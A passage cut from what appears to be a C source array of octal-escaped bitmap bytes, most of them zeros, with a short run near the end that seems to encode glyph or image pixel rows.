\"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\360\\370\\370\\370\\370\\370\\360\\340\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\7\\17\\17\\17\\17\\17\\7\\3\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\374\\374\\374\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\376\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\7\\7\\17\\7\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\200\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\200\\200\\360\\377\\377\\377\\377\\200\\200\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\300\\360\\370\\374\\376~\\77\\37\\17\\17\\17\\7\\7\\367\\377\\377\\377\\177\\7\\17\\17\\37\\77~\\376\"\n  \"|\\20\\0\\0\\0\\370\\377\\377\\377\\377\\37\\1\\0\\0\\0\\0\\0\\0\\0\\360\\377\\377\\377\\177\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\17\\177\\377\\377\\377\\374\\300\\0\\0\\0\\0\\0\\0\\360\\377\\377\\377\\177\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\1\\7\\17\\37\\77\\77~|\\370\\370\\360\\377\\377\\377\\377\\360\\360\\360\\360\\360\\370\\370|~>\"\n  \"\\34\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\360\\377\\377\\377\\77\\1\\1\\1\\1\\1\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\300\\300\\300\\300\\300\\300\\300\\200\\200\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\360\\370\\374\\376\\377\\77\\37\\17\\7\\7\\7\\7\\7\\7\\7\\7\\17\\37\\37\\17\\6\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\200\\200\\200\\277\\377\\377\\377\\377\\361\\200\\200\\200\\200\\200\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\7\\7\\7\\7\\7\\377\\377\\377\\377\\377\\347\\7\\7\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\377\\377\\377\\377\\77\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\200\\300\\300\\340\\360\\370\\376\\377\\377\\377\\367\\361\\360\\360\\360\\360\\360\\340\\340\\300\\300\\200\\200\\200\\200\\200\\200\\300\"\n  \"\\340\\340\\200\\0\\0\\3\\7\\3\\3\\1\\1\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\3\\3\\7\\7\\7\\7\\17\\7\\7\\7\\7\"\n  \"\\3\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0@\\340\\360\\340\\300\\200\\0\\0\\200\\200\\300\\300\\300\\300\\300\\300\\200\\200\\0\\0\\200\\300\\340\\360\\340\"\n  